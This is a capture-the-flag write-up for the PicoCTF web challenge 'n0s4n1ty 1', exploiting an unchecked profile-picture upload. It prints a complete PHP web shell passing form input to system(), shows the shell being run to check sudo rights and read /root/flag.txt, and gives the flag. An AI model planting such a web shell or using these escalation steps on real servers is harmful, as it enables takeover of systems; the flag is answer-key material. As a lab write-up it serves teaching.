Skip to content

n0s4n1ty 1

Platform: PicoCTF Category: Web Exploitation Operating system: Linux Environment: Standalone

Goal: the site takes a profile picture upload and does not appear to check it. The flag is in /root, which the web server user cannot read.

The upload is the whole attack surface, so the question is whether it cares what it is handed. It does not, and it keeps the filename, which means a file named shell.php lands somewhere the server is willing to run PHP from. The payload is the one revshells.com lists as PHP cmd, filed under its Reverse tab despite opening no connection back and needing no listener: it renders a text box and passes whatever you type into PHP’s system.

shell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

The site prints the destination back on a successful upload, Path: uploads/shell.php, and requesting that path renders the box. The extension is what routes the file to the interpreter instead of to the browser as text, and the upload handler never looks at it.

The challenge itself says the flag is in /root, so the only open question is what the web user is permitted to do. Ask sudo.

Web shell
$ sudo -l
Matching Defaults entries for www-data on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on challenge:
(ALL) NOPASSWD: ALL

That answers two things at once. It names the invoking user, www-data, which doubles as proof the shell is executing, and it grants that user every command on the box without a password.

Web shell
$ sudo ls /root/
flag.txt
$ sudo cat /root/flag.txt
<flag>
Flag picoCTF{wh47_c4n_u_d0_wPHP_2df2d584}

Two failures have to line up. The upload takes an arbitrary extension and stores the file under the document root, which turns a picture form into code execution, and on its own that would buy an attacker only what www-data can already reach, which here is nothing. The sudoers entry is what makes it a root compromise.

NOPASSWD is also why a single command works through a web form at all. It suppresses the password prompt, which is the part that would otherwise want a terminal, and the Defaults line lists only env_reset, mail_badpass and secure_path, with no requiretty to insist on one. Both halves of that are readable straight off the sudo -l output, which is why it is the first thing to run and not the last.